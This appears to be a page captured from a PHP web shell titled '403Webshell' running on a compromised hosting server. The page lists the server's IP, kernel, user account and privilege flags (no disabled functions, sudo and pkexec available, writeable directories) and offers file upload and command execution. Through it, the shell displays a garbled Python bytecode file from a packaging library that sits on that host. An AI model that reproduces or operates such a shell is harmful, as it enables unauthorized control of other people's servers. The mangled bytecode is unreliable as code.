403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/packaging/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/packaging/_manylinux.pyc
a

i��fr%�@spUddlmZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
mZmZm
Z
ddlmZmZmZmZdZdZdZejd	d
d�dd
��Zd	dd�dd�Zd	dd�dd�Zd	ddd�dd�Ze�dd��Zded<Gdd�de�Zdd�d d!�Zdd�d"d#�Z dd�d$d%�Z!d	d&d'�d(d)�Z"ej#d&d�d*d+��Z$d	ddd,�d-d.�Z%d/d0d1d2�Z&dd3d4�d5d6�Z'dS)7�)�annotationsN)�	Generator�Iterator�
NamedTuple�Sequence�)�EIClass�EIData�ELFFile�EMachinel~ii�strz%Generator[ELFFile | None, None, None])�path�returnc
cs\z8t|d��}t|�VWd�n1s,0YWntttfyVdVYn0dS)N�rb)�openr
�OSError�	TypeError�
ValueError)r
�f�r�x/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/packaging/_manylinux.py�
_parse_elfs
,r�bool)�
executablercCstt|��X}|duoP|jtjkoP|jtjkoP|jtj	koP|j
t@tkoP|j
t
@t
kWd�S1sf0YdS�N)r�capacityr�C32�encodingr	�Lsb�machiner�Arm�flags�EF_ARM_ABIMASK�EF_ARM_ABI_VER5�EF_ARM_ABI_FLOAT_HARD�rrrrr�_is_linux_armhfs

�
�
���r&cCsXt|��<}|duo4|jtjko4|jtjko4|jtj	kWd�S1sJ0YdSr)
rrrrrr	rrr�I386r%rrr�_is_linux_i686-s

�
�
�r(z
Sequence[str])r�archsrcs>d|vrt|�Sd|vr t|�Shd��t�fdd�|D��S)N�armv7l�i686>�riscv64�s390x�loongarch64�aarch64�x86_64�ppc64le�ppc64c3s|]}|�vVqdSrr)�.0�arch��
allowed_archsrr�	<genexpr>E�z'_have_compatible_abi.<locals>.<genexpr>)r&r(�any)rr)rr5r�_have_compatible_abi7s	r:cCsdS)N�2rrrrr�<lambda>Mr8r<zdict[int, int]�_LAST_GLIBC_MINORc@seZdZUded<ded<dS)�
_GLibCVersion�int�major�minorN)�__name__�
__module__�__qualname__�__annotations__rrrrr>Ps
r>z
str | None)rcCsHz&t�d�}|dusJ�|��\}}WnttttfyBYdS0|S)zJ
    Primary implementation of glibc_version_string using os.confstr.
    �CS_GNU_LIBC_VERSIONN)�os�confstr�rsplit�AssertionError�AttributeErrorrr)�version_string�_�versionrrr�_glibc_version_string_confstrUs
rOcCs�zddl}Wnty YdS0z|�d�}WntyDYdS0z
|j}WntydYdS0|j|_|�}t|t	�s�|�
d�}|S)zG
    Fallback implementation of glibc_version_string using ctypes.
    rN�ascii)�ctypes�ImportError�CDLLr�gnu_get_libc_versionrK�c_char_p�restype�
isinstancer�decode)rQ�process_namespacerT�version_strrrr�_glibc_version_string_ctypeshs"


r[cCst�p
t�S)z9Returns glibc version string, or None if not using glibc.)rOr[rrrr�_glibc_version_string�sr\ztuple[int, int])rZrcCsBt�d|�}|s&t�d|��t�dSt|�d��t|�d��fS)a3Parse glibc version.

    We use a regexp instead of str.split because we want to discard any
    random junk that might come after the minor version -- this might happen
    in patched/forked versions of glibc (e.g. Linaro's version of glibc
    uses version strings like "2.20-2014.11"). See gh-3588.
    z$(?P<major>[0-9]+)\.(?P<minor>[0-9]+)z;Expected glibc version with 2 components major.minor, got: ����r^r@rA)�re�match�warnings�warn�RuntimeWarningr?�group)rZ�mrrr�_parse_glibc_version�s��rfcCst�}|durdSt|�S)Nr])r\rf)rZrrr�_get_glibc_version�srg)r4rNrcCs�t�}||krdSzddl}Wnty2YdS0t|d�rh|�|d|d|�}|durdt|�SdS|tdd�kr�t|d�r�t|j�S|tdd	�kr�t|d
�r�t|j�S|tdd�kr�t|d�r�t|j	�SdS)
NFrT�manylinux_compatibler���manylinux1_compatible��manylinux2010_compatible��manylinux2014_compatible)
rg�
_manylinuxrR�hasattrrhrr>rkrmro)r4rN�	sys_glibcrp�resultrrr�_is_compatible�s,






rt�
manylinux2014�
manylinux2010�
manylinux1))rirn)rirl)rirjz
Iterator[str])r)rccsttj|�sdStdd�}t|�ddh@r4tdd�}tt��}|g}t|jddd�D]}t|}|�	t||��qV|D]�}|D]�}|j|jkr�|j
}nd}t|j
|d�D]^}t|j|�}	d	j|	�}
t||	�r�|
�d
|��V|	t
vr�t
|	}t||	�r�|�d
|��Vq�q�qxdS)a�Generate manylinux tags compatible to the current platform.

    :param archs: Sequence of compatible architectures.
        The first one shall be the closest to the actual architecture and be the part of
        platform tag after the ``linux_`` prefix, e.g. ``x86_64``.
        The ``linux_`` prefix is assumed as a prerequisite for the current platform to
        be manylinux-compatible.

    :returns: An iterator of compatible manylinux tags.
    Nri�r0r+�rr^zmanylinux_{}_{}rM)r:�sysrr>�setrg�ranger@r=�appendrA�formatrt�_LEGACY_MANYLINUX_MAP)r)�too_old_glibc2�
current_glibc�glibc_max_list�glibc_major�glibc_minorr4�	glibc_max�	min_minor�
glibc_version�tag�
legacy_tagrrr�
platform_tags�s0





r�)(�
__future__r�collections�
contextlib�	functoolsrGr_rzra�typingrrrr�_elffilerr	r
rr"r#r$�contextmanagerrr&r(r:�defaultdictr=rEr>rOr[r\rf�	lru_cachergrtrr�rrrr�<module>s>
,�

Youez - 2016 - github.com/yon3zu
LinuXploit